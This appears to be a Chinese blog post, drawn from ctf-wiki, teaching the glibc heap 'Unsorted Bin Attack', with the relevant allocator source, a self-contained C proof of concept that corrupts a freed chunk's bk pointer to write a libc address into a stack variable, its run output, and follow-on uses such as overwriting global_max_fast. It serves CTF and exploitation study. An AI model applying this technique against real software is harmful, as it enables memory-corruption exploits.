堆技巧Unsorted Bin Attack

概述

  • Unsorted Bin Attack ,该攻击与 Glibc 堆管理中的 Unsorted Bin 的机制紧密相关。
  • Unsorted Bin Attack 被利用的前提是控制 Unosrted Bin Chunk 的 bk 指针。
  • Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。

Unsorted Bin 基础知识

基本来源

  • 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE ,就会被放到 unsorted bin 中。
  • 释放一个不属于fast bin 的 chunk ,释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
  • 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

基本使用情况

  • Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入到 unsorted bin 的头部,去除的时候从链表尾获取。
  • 在程序 malloc 时,如果在 fastbin、small bin 中找不到对应大小的 chunk ,就会尝试从 Unsorted Bin 中寻找 chunk 。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

原理

          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

   如源码所示,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置 写入本 Usorted Bin 的位置。换而言之,如果我们控制了 bk 的值,我们就能将 unsorted_chunks(av) 写道任意地址。

#include <stdio.h>
#include <stdlib.h>

int main() {
  fprintf(stderr, "This file demonstrates unsorted bin attack by write a large "
                  "unsigned long value into stack\n");
  fprintf(
      stderr,
      "In practice, unsorted bin attack is generally prepared for further "
      "attacks, such as rewriting the "
      "global variable global_max_fast in libc for further fastbin attack\n\n");

  unsigned long target_var = 0;
  fprintf(stderr,
          "Let's first look at the target we want to rewrite on stack:\n");
  fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);

  unsigned long *p = malloc(400);
  fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",
          p);
  fprintf(stderr, "And allocate another normal chunk in order to avoid "
                  "consolidating the top chunk with"
                  "the first one during the free()\n\n");
  malloc(500);

  free(p);
  fprintf(stderr, "We free the first chunk now and it will be inserted in the "
                  "unsorted bin with its bk pointer "
                  "point to %p\n",
          (void *)p[1]);

  /*------------VULNERABILITY-----------*/

  p[1] = (unsigned long)(&target_var - 2);
  fprintf(stderr, "Now emulating a vulnerability that can overwrite the "
                  "victim->bk pointer\n");
  fprintf(stderr, "And we write it with the target address-16 (in 32-bits "
                  "machine, it should be target address-8):%p\n\n",
          (void *)p[1]);

  //------------------------------------

  malloc(400);
  fprintf(stderr, "Let's malloc again to get the chunk we just free. During "
                  "this time, target should has already been "
                  "rewrite:\n");
  fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
}

  运行结果

This file demonstrates unsorted bin attack by write a large unsigned long value into stack
In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack

Let's first look at the target we want to rewrite on stack:
0x7ffcf6a12508: 0

Now, we allocate first normal chunk on the heap at: 0xd7f010
And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()

We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f2b9537db78
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffcf6a124f8

Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite:
0x7ffcf6a12508: 0x7f2b9537db78

  这段程序表明我们可以将 unsroted bin 链表头的地址写入任意地址(&target_var)具体过程为

    victim = unsorted_chunks(av)->bk=p
    bck = victim->bk=p->bk = target addr-16
    unsorted_chunks(av)->bk = bck=target addr-16
    bck->fd = *(target addr -16+16) = unsorted_chunks(av);

  需要注意的是,由于 fd 指针被修改,所以下次插入 chunk 的时候可能程序会出现问题。

利用方式

  • 通过修改循环的次数来使得程序可以执行多次循环。
  • 可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fastbin ,这样我们就可以取执行一些 fast bin attack 了。

内容来源

ctf-wiki-Unsorted Bin Attack

posted @ 2020-02-25 10:10  PwnKi  阅读(1370)  评论(0编辑  收藏  举报